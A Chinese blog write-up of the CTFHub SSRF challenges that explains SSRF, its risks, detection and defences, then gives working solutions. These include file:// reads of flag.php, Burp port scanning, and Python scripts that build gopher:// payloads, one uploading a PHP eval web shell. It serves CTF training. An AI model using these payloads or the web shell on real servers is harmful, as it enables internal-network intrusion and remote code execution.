ctfhub web技能树 SSRF
一、SSRF漏洞简介
SSRF(service side request forgery)为服务器请求伪造,是一种由攻击者形成服务
器端发起的安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。
正因为是由服务器端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
其形成原因大都是由于服务器端提供了从其他服务器应用获取数据的功能,但没有对
目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发
起请求,并返回对该目标地址请求的数据。
1.1 SSRF的危害
a,内网探测:端口扫描,web应用指纹识别,攻击web应用读取本地文件
b,跳板攻击:借助存在SSRF漏洞服务器对内或外发起攻击,以隐藏自己真实的IP
c,拒绝服务攻击:请求超大文件,保持链接Keep-Alive Always
1.2 查看是否存在SSRF漏洞
1.排除法:浏览器f12查看源代码看是否在本地进行了请求
eg:该资源地址类型为:http://www.xxx.com/a.php?image=(地址)的就可能存在SSRF
漏洞
2.Dnslog等工具进行测试,查看是否被访问
生成一个域名用于伪造请求,看漏洞服务器是否发起DNS解析请求,若成功访问在http:
//DNSLog.cn上就会有解析日志。
3.抓包分析发送的请求是不是由服务器发送的,如果不是客户端发出的请求,则有可能是,
接着找到存在HTTP服务的内网地址
a,在平台的历史漏洞寻找泄露的存在web应用内网地址
b,通过二级域名暴力破解工具模糊猜测内网地址
4.访问日志检查:伪造请求到自己控制的公网服务器,然后在服务器上查看访问日志是否
有来自漏洞服务器的请求,或者直接使用命令"nc -lvp"来监听请求
1.3 SSRF的防御和修复
a,限制请求的端口只能为web端口,只允许访问HTTP和HTTPS的请求
b,设置白名单,或限制内网IP,以防止对内网进行攻击
c,禁止30x跳转
d,屏蔽返回的详细信息
e,禁用不需要的协议,仅仅允许http和https请求。可以防止类似于file://,gopher://,ftp:// 等引起的问题
原文参考:https://www.modb.pro/db/385514
二、涉及的几个重要协议
主要的几个协议
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
http/s协议:探测内网主机存活
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
三、SSRF技能树攻克
内网访问
访问以下地址
?/url=127.0.0.1/flag.php
伪协议读取文件
需要使用file协议,网站文件在的为/var/www/html,则需要访问:
/?url=file:///var/www/html/flag.php
F12查看Network的回显信息
端口扫描
需要使用Burp
配置payload,字典类型,将8000-9000这段数据生成一个文档,点击load in倒入该文档,点击start attack进行攻击
POST请求
这里需要用到gopher协议
查看flag.php得到一个key
进入file:///var/www/html/flag.php
<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; return; } $flag=getenv("CTFHUB"); $key = md5($flag); if (isset($_POST["key"]) && $_POST["key"] == $key) { echo $flag; exit; } ?> <form action="/flag.php" method="post"> <input type="text" name="key"> <!-- Debug: key=<?php echo $key;?>--> </form>
看到大佬们说需要执行一个python的脚本,来构造Gopher协议的payload
import urllib.parse payload =\ """POST /flag.php HTTP/1.1 Host: 127.0.0.1:80 Content-Type: application/x-www-form-urlencoded Content-Length: 36 key=5a11754fbba3d84102f0d432ff525275 """ #注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result) # 这里因为是GET请求所以要进行两次url编码
key需要放自己访问flag.php时的,执行python脚本之后,放到url中,注意删掉“_”
文件上传
这个和上面用的一样的方法,需要用到gopher协议
需要执行这个python脚本,当然,需要换成你的信息(Host和User-Agent)
import urllib.parse payload =\ """ POST /flag.php HTTP/1.1 Host: challenge-5ab8834734a0f585.sandbox.ctfhub.com:10800 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------312108925317709946761014349212 Content-Length: 389 Origin: http://challenge-5ab8834734a0f585.sandbox.ctfhub.com:10800 Connection: close Referer: http://challenge-5ab8834734a0f585.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache -----------------------------312108925317709946761014349212 Content-Disposition: form-data; name="file"; filename="web.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']); ?> -----------------------------312108925317709946761014349212 Content-Disposition: form-data; name="file" 鎻愪氦鏌ヨ -----------------------------312108925317709946761014349212-- """ #注意后面一定要有回车,回车结尾表示http请求结束 tmp = urllib.parse.quote(payload) new = tmp.replace('%0A','%0D%0A') result = 'gopher://127.0.0.1:80/'+'_'+new result = urllib.parse.quote(result) print(result) # 这里因为是GET请求所以要进行两次url编码
标签:web,请求,SSRF,协议,ctfhub,gopher,flag,php From: https://www.cnblogs.com/manmanwei/p/16931474.html